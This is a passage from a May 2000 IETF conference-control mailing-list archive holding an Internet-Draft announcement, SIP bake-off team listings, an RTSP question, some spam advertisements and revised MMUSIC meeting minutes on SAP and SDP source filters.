traffic from illegitimate senders.  Applications and hosts may also
share the source-filter information with network elements (e.g., with
routers using IGMPv3) so they can potentially perform the traffic
filtering operation further 'upstream,' closer to the source(s).

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-srcfilter-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-srcfilter-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-srcfilter-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20000504104220.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-srcfilter-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-srcfilter-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20000504104220.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Sun May  7 23:51:41 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA09288
	for confctrl-outgoing; Sun, 7 May 2000 23:51:41 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA09283
	for <confctrl@zephyr.isi.edu>; Sun, 7 May 2000 23:51:39 -0700 (PDT)
Received: from hotmail.com (max04-156.anv.net [207.168.181.156])
	by venera.isi.edu (8.9.3/8.9.3) with SMTP id XAA04539;
	Sun, 7 May 2000 23:51:34 -0700 (PDT)
From: <JohnRoberts78@hotmail.com>
Subject: For you
Date: Sun, 7 May 2000 23:49:54
Message-Id: <344.473378.843887@hotmail.com>
Reply-To: JohnDavis71@hotmail.com
Mime-Version: 1.0
Content-Type: text/html; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


<base href="http://www.pureformnutrition.com/E-mailpage.htm">
<html>

<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>Welcome</title>
<meta name="Microsoft Theme" content="sandston 011">
</head>

<body background="_themes/sandston/stonbk.jpg" bgcolor="#FFFFFF" text="#000000" link="#993300" vlink="#CC6633" alink="#660000"><!--mstheme--><font face="Arial, Helvetica"><!--mstheme--></font><table border="0" width="70%">
  <tr>
    <td width="100%"><!--mstheme--><font face="Arial, Helvetica">
      <p align="center"><span style="background-color: #FFFF00"><font face="BaccaratUprightWide" size="7" color="#FFFF00"><a href="http://www.pureformnutrition.com">&nbsp;&nbsp;&nbsp;
      </a></font><a href="http://www.pureformnutrition.com"><font face="BaccaratUprightWide" size="7" color="#FF0000">Welcome!!&nbsp;&nbsp;&nbsp;&nbsp;</font></a></span><!--mstheme--></font></td>
  </tr>
</table><!--mstheme--><font face="Arial, Helvetica">
<p align="center">&nbsp;</p>
<!--mstheme--></font><table border="0" width="70%" height="32">
  <tr>
    <td width="100%" height="28"><!--mstheme--><font face="Arial, Helvetica">
      <p align="center"><a href="http://www.pureformnutrition.com"><font face="Copperplate Gothic Bold" size="5" color="#006600">Are
      you, or anyone you care about interested in or in need of:</font></a><!--mstheme--></font></td>
  </tr>
</table><!--mstheme--><font face="Arial, Helvetica"><!--mstheme--></font><table border="0" width="70%">
  <tr>
    <td width="100%"><!--mstheme--><font face="Arial, Helvetica"><!--mstheme--></font></td>
  </tr>
  <tr>
    <td width="100%"><!--mstheme--><font face="Arial, Helvetica"><font size="5">&nbsp;
      <a href="http://www.pureformnutrition.com"><font face="Elephant" color="#006600">Affordable
      </font></a><a href="http://www.pureformnutrition.com"><font face="Elephant" color="#0000FF">Mothers
      Day</font><font face="Elephant" color="#006600"> Gift Baskets??</font></a><font face="Elephant" color="#006600">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      </font></font><a href="http://www.pureformnutrition.com"><font face="Copperplate Gothic Bold" size="5" color="#FF0000">GO!</font></a><!--mstheme--></font></td>
  </tr>
  <tr>
    <td width="100%"><!--mstheme--><font face="Arial, Helvetica"><font size="5">&nbsp;
      <a href="http://www.pureformnutrition.com"><font face="Elephant" color="#006600">Better
      Health??</font></a><font face="Elephant" color="#006600">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      </font></font><a href="http://www.pureformnutrition.com"><font face="Copperplate Gothic Bold" size="5" color="#FF0000">GO!</font></a><!--mstheme--></font></td>
  </tr>
  <tr>
    <td width="100%"><!--mstheme--><font face="Arial, Helvetica"><font size="5">&nbsp;
      <a href="http://www.pureformnutrition.com"><font face="Elephant" color="#006600">Having
      More Energy??</font></a><font color="#006600" face="Elephant">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      </font></font><a href="http://www.pureformnutrition.com"><font face="Copperplate Gothic Bold" size="5" color="#FF0000">GO!</font></a><!--mstheme--></font></td>
  </tr>
</table><!--mstheme--><font face="Arial, Helvetica"><!--mstheme--></font><table border="0" width="70%">
  <tr>
    <td width="100%"><!--mstheme--><font face="Arial, Helvetica"><font size="5">&nbsp;
      <a href="http://www.pureformnutrition.com"><font face="Elephant" color="#006600">Boosting
      the Immune System??</font></a><font face="Elephant" color="#006600">&nbsp;&nbsp;&nbsp;&nbsp;
      </font></font><a href="http://www.pureformnutrition.com"><font face="Copperplate Gothic Bold" size="5" color="#FF0000">GO!</font></a><!--mstheme--></font></td>
  </tr>
  <tr>
    <td width="100%"><!--mstheme--><font face="Arial, Helvetica"><font size="5">&nbsp;
      <a href="http://www.pureformnutrition.com"><font face="Elephant" color="#006600">Arthritis
      Relief??</font></a><font color="#006600" face="Elephant">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      </font></font><a href="http://www.pureformnutrition.com"><font face="Copperplate Gothic Bold" size="5" color="#FF0000">GO!</font></a>
      <!--mstheme--></font><table border="0" width="100%">
        <tr>
          <td width="100%"><!--mstheme--><font face="Arial, Helvetica">&nbsp; <a href="http://www.pureformnutrition.com"><font size="5" face="Anaconda" color="#936300">Self
            Tanning</font></a><font size="5" face="Anaconda" color="#936300">&nbsp;</font><font color="#008000" size="5" face="Bailey">&nbsp;</font><font size="5" face="Bailey" color="#006600">&nbsp;&nbsp;&nbsp;&nbsp;
            </font><a href="http://www.pureformnutrition.com"><font face="Copperplate Gothic Bold" size="5" color="#FF0000">GO!</font></a><!--mstheme--></font></td>
        </tr>
        <tr>
          <td width="100%"><!--mstheme--><font face="Arial, Helvetica"><font color="#006600" face="Elephant" size="5">&nbsp;</font><a href="http://www.pureformnutrition.com"><font face="Elephant" size="5" color="#006600">Reducing
            Cellulite??</font></a><font color="#006600" face="Elephant" size="5">&nbsp;&nbsp;&nbsp;&nbsp;
            </font><a href="http://www.pureformnutrition.com"><font face="Copperplate Gothic Bold" size="5" color="#FF0000">GO!</font></a><!--mstheme--></font></td>
        </tr>
      </table><!--mstheme--><font face="Arial, Helvetica"><!--mstheme--></font></td>
  </tr>
  <tr>
    <td width="100%"><!--mstheme--><font face="Arial, Helvetica"><font size="5">&nbsp;<a href="http://www.pureformnutrition.com"><font face="Baccarat" color="#006600">Anti
      - Aging</font></a><font color="#006600" face="Baccarat">&nbsp; </font></font><a href="http://www.pureformnutrition.com"><font face="Bailey" size="6" color="#006600">or
      Wrinkle Reduction??</font></a><font color="#006600" face="Baccarat" size="5">&nbsp;
      </font><a href="http://www.pureformnutrition.com"><font face="Copperplate Gothic Bold" size="5" color="#FF0000">GO!</font></a><!--mstheme--></font></td>
  </tr>
  <tr>
    <td width="100%"><!--mstheme--><font face="Arial, Helvetica"><font size="5">&nbsp;<a href="http://www.pureformnutrition.com"><font face="Elephant" color="#FF6AFF">Cosmetics</font></a><font face="Elephant" color="#006600">
      </font><a href="http://www.pureformnutrition.com"><font face="Elephant" color="#006600">at
      Below Wholesale Prices???</font></a><font face="Elephant" color="#006600">&nbsp;&nbsp;&nbsp;&nbsp;
      </font></font><a href="http://www.pureformnutrition.com"><font face="Copperplate Gothic Bold" size="5" color="#FF0000">GO!</font></a><!--mstheme--></font></td>
  </tr>
  <tr>
    <td width="100%"><!--mstheme--><font face="Arial, Helvetica"><font size="5">&nbsp;</font><a href="http://www.pureformnutrition.com"><font face="Elephant" size="5" color="#006600">Lowering
      Cholesterol ??</font></a><font color="#006600" face="Elephant" size="5">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      </font><a href="http://www.pureformnutrition.com"><font face="Copperplate Gothic Bold" size="5" color="#FF0000">GO!</font></a><!--mstheme--></font></td>
  </tr>
  <tr>
    <td width="100%"><!--mstheme--><font face="Arial, Helvetica"><font size="5">&nbsp;<a href="http://www.pureformnutrition.com"><font face="Elephant" color="#006600">Stress
      Relief??</font></a><font face="Elephant" color="#006600">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      </font></font><a href="http://www.pureformnutrition.com"><font face="Copperplate Gothic Bold" size="5" color="#FF0000">GO!</font></a><!--mstheme--></font></td>
  </tr>
</table><!--mstheme--><font face="Arial, Helvetica"><!--mstheme--></font><table border="0" width="87%" height="245">
  <tr>
    <td width="100%" height="63"><!--mstheme--><font face="Arial, Helvetica"><a href="http://www.pureformnutrition.com"><font size="7" face="Amaze" color="#800000">Sexual
      Enhancement ??</font></a><font size="7" color="#006600" face="Amaze">&nbsp;&nbsp;&nbsp;&nbsp;
      </font><a href="http://www.pureformnutrition.com"><font face="Copperplate Gothic Bold" size="5" color="#FF0000">GO!</font></a><!--mstheme--></font></td>
  </tr>
  <tr>
    <td width="100%" height="32"><!--mstheme--><font face="Arial, Helvetica"><a href="http://www.pureformnutrition.com"><font face="Elephant" size="5" color="#006600">&quot;Real&quot;
      Hair Replacement??</font></a><font face="Elephant" size="5" color="#006600">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      </font><a href="http://www.pureformnutrition.com"><font face="Copperplate Gothic Bold" size="5" color="#FF0000">GO!</font></a><!--mstheme--></font></td>
  </tr>
  <tr>
    <td width="100%" height="33"><!--mstheme--><font face="Arial, Helvetica">&nbsp;<a href="http://www.pureformnutrition.com"><font face="Elephant" size="5" color="#006600">Guaranteed
      Weight loss or Appetite Control??</font></a><font face="Elephant" size="5" color="#006600">&nbsp;&nbsp;&nbsp;&nbsp;
      </font><a href="http://www.pureformnutrition.com"><font face="Copperplate Gothic Bold" size="5" color="#FF0000">GO!</font></a><!--mstheme--></font></td>
  </tr>
  <tr>
    <td width="100%" height="40"><!--mstheme--><font face="Arial, Helvetica">&nbsp;<a href="http://www.pureformnutrition.com"><font color="#008000"><font face="Bangle" size="6">Hair
      Care, Skin Care</font><font face="Bangle" size="5"> or </font><font face="Rockwell Extra Bold" size="5">Bath
      &amp; Body Products???</font></font></a><font face="Rockwell Extra Bold" size="5" color="#006600">&nbsp;
      </font><a href="http://www.pureformnutrition.com"><font face="Copperplate Gothic Bold" size="5" color="#FF0000">GO!</font></a><!--mstheme--></font></td>
  </tr>
  <tr>
    <td width="100%" height="33"><!--mstheme--><font face="Arial, Helvetica">&nbsp;<a href="http://www.pureformnutrition.com"><font face="Elephant" size="5" color="#003C00">Prostate
      Health??</font></a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href="http://www.pureformnutrition.com"><font face="Copperplate Gothic Bold" size="5" color="#FF0000">GO!</font></a><!--mstheme--></font></td>
  </tr>
  <tr>
    <td width="100%" height="20"><!--mstheme--><font face="Arial, Helvetica">&nbsp;<a href="http://www.pureformnutrition.com"><font face="Albert" size="6" color="#339933">Massagers
      or Exotic Massage Oils??</font></a><font color="#339933" face="Albert" size="6">&nbsp;&nbsp;
      </font><a href="http://www.pureformnutrition.com"><font face="Copperplate Gothic Bold" size="5" color="#FF0000">GO!</font></a><!--mstheme--></font></td>
  </tr>
</table><!--mstheme--><font face="Arial, Helvetica"><!--mstheme--></font><table border="0" width="57%">
  <tr>
    <td width="100%"><!--mstheme--><font face="Arial, Helvetica"><a href="http://www.pureformnutrition.com"><font face="Chasm" size="6" color="#3366CC">Stronger
      Nails or Sounder Sleep??</font></a><font face="Chasm" color="#3366CC" size="6">&nbsp;&nbsp;
      </font><a href="http://www.pureformnutrition.com"><font face="Copperplate Gothic Bold" size="5" color="#FF0000">GO!</font></a><!--mstheme--></font></td>
  </tr>
  <tr>
    <td width="100%"><!--mstheme--><font face="Arial, Helvetica"><!--mstheme--></font></td>
  </tr>
</table><!--mstheme--><font face="Arial, Helvetica"><!--mstheme--></font><table border="0" width="100%">
  <tr>
    <td width="50%"><!--mstheme--><font face="Arial, Helvetica">
      <p align="center"><a href="http://www.pureformnutrition.com"><font face="Albert" size="7" color="#800080">YES!</font></a><!--mstheme--></font></td>
    <td width="50%"><!--mstheme--><font face="Arial, Helvetica"><a href="http://www.pureformnutrition.com"><font size="7" face="Albert" color="#800080">NO</font></a><!--mstheme--></font></td>
  </tr>
</table><!--mstheme--><font face="Arial, Helvetica"><!--mstheme--></font><table border="0" width="100%">
  <tr>
    <td width="100%"><!--mstheme--><font face="Arial, Helvetica"><!--mstheme--></font></td>
  </tr>
</table><!--mstheme--><font face="Arial, Helvetica"><!--mstheme--></font><table border="0" width="100%" height="63">
  <tr>
    <td width="100%" height="59"><!--mstheme--><font face="Arial, Helvetica">
      <p align="left"><i><u><b><a href="http://www.pureformnutrition.com"><font size="7" face="Copperplate Gothic Bold" color="#008000">Don't
      Wait Another Day!!!</font></a></b></u></i><!--mstheme--></font></td>
  </tr>
</table><!--mstheme--><font face="Arial, Helvetica"><!--mstheme--></font><table border="0" width="100%">
  <tr>
    <td width="29%"><!--mstheme--><font face="Arial, Helvetica"><a href="http://www.pureformnutrition.com"><font size="7" face="Albert" color="#0000FF">Click
      Here</font></a><!--mstheme--></font></td>
    <td width="71%"><!--mstheme--><font face="Arial, Helvetica"><a href="http://www.pureformnutrition.com"><font size="7" face="Copperplate Gothic Bold" color="#FF0000">GO!</font></a><!--mstheme--></font></td>
  </tr>
</table><!--mstheme--><font face="Arial, Helvetica"><!--mstheme--></font></body>

</html>

From confctrl-owner  Mon May  8 04:59:05 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA19586
	for confctrl-outgoing; Mon, 8 May 2000 04:59:05 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA19581
	for <confctrl@zephyr.isi.edu>; Mon, 8 May 2000 04:59:03 -0700 (PDT)
Received: from ausmtp01.au.ibm.com (ausmtp01.au.ibm.COM [202.135.136.97])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id EAA14978
	for <confctrl@isi.edu>; Mon, 8 May 2000 04:59:03 -0700 (PDT)
From: S_S_Dinesh/India/IBM@au1.ibm.com
Received: from f03n07e.au.ibm.com 
	by ausmtp01.au.ibm.com (IBM AP 1.0) with ESMTP id VAA51726;
	Mon, 8 May 2000 21:52:59 +1000
Received: from d73mta05.au.ibm.com (f06n05s [9.185.166.67])
	by f03n07e.au.ibm.com (8.8.8m2/8.8.7) with SMTP id VAA64686;
	Mon, 8 May 2000 21:58:15 +1000
Received: by d73mta05.au.ibm.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id CA2568D9.0041C05E ; Mon, 8 May 2000 21:58:10 +1000
X-Lotus-FromDomain: IBMAU@IBMIN@IBMAU
To: sip@lists.research.bell-labs.com, ensc-tia@sfu.ca,
        sip-implementors@cs.columbia.edu, confctrl@ISI.EDU,
        iptel@lists.research.bell-labs.com, eriietf@kk.ericsson.se
Message-ID: <CA2568D9.0041BC38.00@d73mta05.au.ibm.com>
Date: Mon, 8 May 2000 14:10:23 +0530
Subject: SIP Bake-off - Registration Closed
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Hello!

The registration for the 3rd SIP bakeoff is closed!

The popularity of this event has by far exceeded expectations.
Instead of having 15-17 teams as we expected, there are 33 teams
now on the final list and nearly 100 people.

Here is the final list of participating teams:

Name                Team Size  Contact
---------------------------------------
Nortel-1             5          orton@nortelnetworks.com
Pingtel              2          dpetrie@pingtel.com
Nortel-2             2          cjessen@nortelnetworks.com
Mediatrix            2          etremblay@mediatrix.com
Netspeak             2          noreilly@netspeak.com
Telogy               1          wkwok@telogy.com
Nuera                4          cteoh@nuera.com
Catapult             4          terry@catapult.com
Ericsson-2           3          hans@erix.ericsson.se
Mitel                2          Ashok_Ganesan@Mitel.COM
Agilent              2          douglas_carson@agilent.com
Dynamicsoft          3          vpatel@dynamicsoft.com
Broadsoft            4          joyce@broadsoft.com
VTEL                 2          rkrishna@vtel.com
Delta                3          nurban@delta-info.com
Radcom               2          mwinslow@radcomusa.com
E*Club               2          jon2@andrew.cmu.edu
8x8                  4          artru@8x8.com
Helsinki Tech U.     2          jose@tct.hut.fi
Columbia U.          3          hgs@cs.columbia.edu
HP Labs              1          ak@hplb.hpl.hp.com
Indigo               3          eb@indigo-software.com
OZ.com               2          jii@oz.com
Vovida               3          ldang@vovida.com
Cisco                3          manojb@cisco.com
IPCell               2          alex@ipcell.com
FacetCorp            5          clark@facetcorp.com
MCIW-3               4          kelvin.porter@wcom.com
3Com-1               2          Jerry_Mahler@mw.3com.com
MCIW-1               3          mohammad.vakil@wcom.com
Ericsson-1           3          adam.roach@ericsson.com
3Com-2               2          Ravandhu_hariram@3com.com
MCIW-2               5          steven.r.donovan@wcom.com
-----------------------------------------
TOTAL:  92 participants in 33 teams


Have a nice thanksgiving everyone!!

Regards,
Ulf


--
Ulf Andersson
Ericsson Inc          +1 972 583 7537        ulf.andersson@ericsson.com



---------
This message came from the IETF IPTEL Working Group Mailing List.



From confctrl-owner  Mon May  8 19:43:46 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA01911
	for confctrl-outgoing; Mon, 8 May 2000 19:43:46 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA01906
	for <confctrl@zephyr.isi.edu>; Mon, 8 May 2000 19:43:45 -0700 (PDT)
Received: from sina.com ([202.106.187.164])
	by venera.isi.edu (8.9.3/8.9.3) with SMTP id TAA25543
	for <confctrl@isi.edu>; Mon, 8 May 2000 19:43:44 -0700 (PDT)
Received: (qmail 12192 invoked by uid 99); 9 May 2000 02:44:40 -0000
Message-ID: <20000509024440.12191.qmail@sina.com>
From: myzhai <myzhai@sina.com>
To: confctrl@ISI.EDU
Subject: about RTSP
Date: Tue May  9 10:44:40 CST 2000
X-Mailer: SinaMail 3.0Beta (FireToad)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Sir,
  I want to ask a question about RTSP. In RTSP(RFC2326) page 60,it said
"layers:  The number of multicast layers to be used for this media
          stream. The layers are sent to consecutive addresses starting
          at the destination address.". I want to know why should use
"consecutive addresses " for layers, and the relation between address
for two layers(e.g. address for layer 0 is great(less) than address for
layer 1)?


thx

Zhai

______________________________________


===================================================================
ÐÂÀËÃâ·Ñµç×ÓÓÊÏä http://mail.sina.com.cn 


From confctrl-owner  Tue May  9 05:25:13 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA26280
	for confctrl-outgoing; Tue, 9 May 2000 05:25:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA26274
	for <confctrl@zephyr.isi.edu>; Tue, 9 May 2000 05:25:11 -0700 (PDT)
Received: from scooby.lineone.net ([194.75.152.224])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA24158;
	Tue, 9 May 2000 05:25:36 -0700 (PDT)
Received: from ukd ([195.171.177.9])
	by scooby.lineone.net (8.9.3/8.9.3) with SMTP id MAA18861;
	Tue, 9 May 2000 12:38:45 +0100 (BST)
Message-ID: <002501bfb9ad$fe3db180$09b1abc3@ukd>
From: "Charlie Fletcher - www.ukdata.com" <charlie@ukdata.com>
To: "Charlie Fletcher - www.ukdata.com" <charlie@ukdata.com>
Subject: UK Company Formations www.formacompany.co.uk
Date: Tue, 9 May 2000 12:45:01 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Do you need a company registered in the UK.

Please visit www.formacompany.co.uk where you can form your new company
on-line for only £98


Thank you


Maureen Cavely
www.formacompany.co.uk







From confctrl-owner  Tue May  9 06:23:13 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA29047
	for confctrl-outgoing; Tue, 9 May 2000 06:23:13 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA29033
	for <confctrl@zephyr.isi.edu>; Tue, 9 May 2000 06:23:12 -0700 (PDT)
Received: from scooby.lineone.net ([194.75.152.224])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id GAA13792;
	Tue, 9 May 2000 06:23:12 -0700 (PDT)
Received: from ukd ([195.171.177.9])
	by scooby.lineone.net (8.9.3/8.9.3) with SMTP id OAA12353;
	Tue, 9 May 2000 14:19:39 +0100 (BST)
Message-ID: <003701bfb9ba$4eaa4320$09b1abc3@ukd>
From: "Formacompany" <formations@ukdata.com>
To: "Finance Director" <webmaster@ukdata.com>
Subject: Instant Financial Data on Every UK Business
Date: Tue, 9 May 2000 14:25:56 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Do you need fast accurate information to assist you when appraising
potential customers, and suppliers?

The UK Data internet website www.ukdata.com contains 28 million pages of
data with full information on every UK company!

Credit Reports-Director Searches-Accounts-Annual Returns

All of these products and many more are available to you immediately, and
can be downloaded to and printed from your personal computer.

Free samples of all reports are available at www.ukdata.com.

Please also visit www.formacompany.co.uk the on-line company formation
website

Thank You

Charles Fletcher
www.ukdata.com an instant report on every UK business
www.formacompany.co.uk the on-line company formation site
www.irishdata.ie - instant reports on all Irish companies









From confctrl-owner  Wed May 10 14:43:17 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA20187
	for confctrl-outgoing; Wed, 10 May 2000 14:43:17 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA20180
	for <confctrl@zephyr.isi.edu>; Wed, 10 May 2000 14:43:15 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id OAA04972
	for <confctrl@isi.edu>; Wed, 10 May 2000 14:43:13 -0700 (PDT)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.10.1/8.8.7) with SMTP id e4ALhZ109779
	for <confctrl@isi.edu>; Wed, 10 May 2000 23:43:35 +0200 (MET DST)
Message-Id: <200005102143.e4ALhZ109779@bettina.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Wed, 10 May 2000 23:42:42 +0200
To: confctrl@ISI.EDU
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: Revised MMUSIC Minutes
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

please find below the revised MMUSIC minutes.

Thanks to Dave Thaler who pointed out a number of small issues
that should be fixed now.

You can find the slides and information on the new MMUSIC mailing
list at

         http://www.dmn.tzi.org/ietf/mmusic/

This page is still rudimentary but should improve over time
(the set of current drafts should be up there next week).

Comments and suggestions should be sent directly to me.

Please also let me know (via private mail) which other links should
be included on the page.

Joerg

------------------------------------------------------------------

Revised Draft MMUSIC Meeting Minutes
====================================

Prepared by Tom Taylor and Joerg Ott.
Many thanks to Tom Taylor for taking extensive notes.

MMUSIC met on Thursday afternoon and was chaired by Joerg Ott. 


1. Agenda bashing 
================= 

The proposed agenda was accepted. 


2. Status Report (Joerg Ott)
============================

The revised charter is coming.  The mailing list is moving to
mmusic@tzi.org.  The mailing list management uses majordomo. 
Participants will have to subscribe explicitly -- there will be no
automatic transfer from the confctrl list.  For some time to come,
mails sent to mmusic@tzi.org will be automatically forwarded to
confctrl@isi.edu.


3. SAPv2 (Colin Perkins) 
========================
(draft-ietf-mmusic-sap-v2-06.txt) 

Status: Colin had thought SAPv2 was ready for Last Call after
Washington, but the WG Last Call brought out lots of issues.  One issue
remains open.

The following changes were made:
* The timer reconsideration algorithm was changed to match the one
  used for RTCP.
* The timeout field was removed (was used only for encrypted SAP).
  As it now stands, a receiver either understands the payload or the
  announcer sends an explicit delete, or the receiver times out the
  announcement because it has not heard of it for some time.
* A number of editorial changes were made to the spec, including

  cleaning up the terminology used in the document.
* All authorization schemes are now optional. 

The open issue: how is authentication done?  In the past, it was by
means of authenticated transport.  The suggestion now is to use an
authenticated payload instead.  Colin pointed out that SAP is
independent of the payload, so it is possible to authenticate the
sender independently of any announcements.  Mark Handley saw this as a
key point: SAP is meant for use with proxies who don't necessarily
understand the content.  Finally, it is not just the payload but also
the SAP operation (announce vs. delete) that needs authentication.

The meeting agreed that both payload authentication and transport
authentication are useful (and may be used alone or in combination),
although transport authentication is preferable.

It was agreed to issue a new WG Last Call immediately after the IETF.


4. The SAP Server Access Issue 
==============================

SAP is really a server-to-server protocol.  A SAP server access
protocol is also needed.  Amongst other things, this would allow a
client to iniate an announcement and to receive selected
announcements.

Some people use HTTP for this purpose, others LDAP.  It would be nice
to have current practice documented.  Colin noted that SAP gives the
same scope to announcements and to data, where HTTP does not.

There is a server location problem and a  server communications
problem.  The latter can be solved in various ways once the location
problem has been solved.

A volunteer is requested to compile a current practice document. 


5. The Directory SAP Media Type (Ross Finlayson)
================================================ 
(draft-ietf-mmusic-sdp-directory-type-00.txt) 

The SAP directory has a group address and port; hence it can be
treated like any other media session.  In particular, it can be
advertised using SDP.

Currently the draft specifies one transport: "SAP".  Others such as
"LDAP" are possible.

"Directory" is not a top-level MIME type.  Other possibilities don't
seem to be quite right.

Aside from this, the issues are generally the same as for other media
types: 
* lifetime 
* announcers within the directory session depend on continued
  advertisement of the directory
  - announcers can participate in the advertisement of the directory 
    - have to be careful about extension of lifetime 
    - not a problem: announcer propagates the life of the directory 
  - single announcer may be simpler. 

There are implications for SDP proxies (between SAP and some other
directory management protocol or firewall).  It is unscalable for the

proxy to traverse the entire graph of directory sessions.  The proxy
should open and read only the useful directories.

The question was raised: where is this work leading?  It would seem to
be material for an Experimental RFC, but the future of SAP itself is
in question.  Is it worth working on enhancements to SAP?  Comments
suggested that the work could be valuable, and could be useful even
without SAP.

The consensus was that the WG should accept the work item, with a view
to producing an Experimental RFC.


6. Expressing Source Filters In SDP (Dave Thaler)
=================================================

Source filters are needed for single-source sessions in 232/8.  They
are also needed for other Include-mode sessions.

The authors presented two possible alternatives that would allow
applications to express source filters in SDP:

  (A) a new addrtype 
  (B) a new attribute name 

A reminder on the latter: the SDP specification mandates to ignore an
attribute if it is not understood.   Also note that c= and a= lines
cannot be intermixed.

Source filters are supposed to work for include mode, i.e. explicitly
listing the allowed sources, as well as for exclude mode, i.e. listing
those source from which data shall not be received.

Is is noted that option (A) is not backward compatible and won't work
in the exlude mode.  Option (B) is backward compatible as legacy
implementations that do not understand the new attribute will not
cause problems.

The authors propose option (B) to be pursued and presented a number of
examples for using the new attributes "a=excl:" and "a=incl:".

There is a question whether the filter should be a session-level
attribute.

To process the attribute, it is necessary to copy information out of
the c= line and apply the filter.  If the receiver ignores the
information, it will try to join the group normally; this may not
matter.

Jonathan Rosenberg saw an application to source authentication in SIP.

Ross Finlayson suggested that it would be much neater to put all of
the information on the c= line, since it all relates to transport. 
The counter-argument was that, since it is not mandatory for the
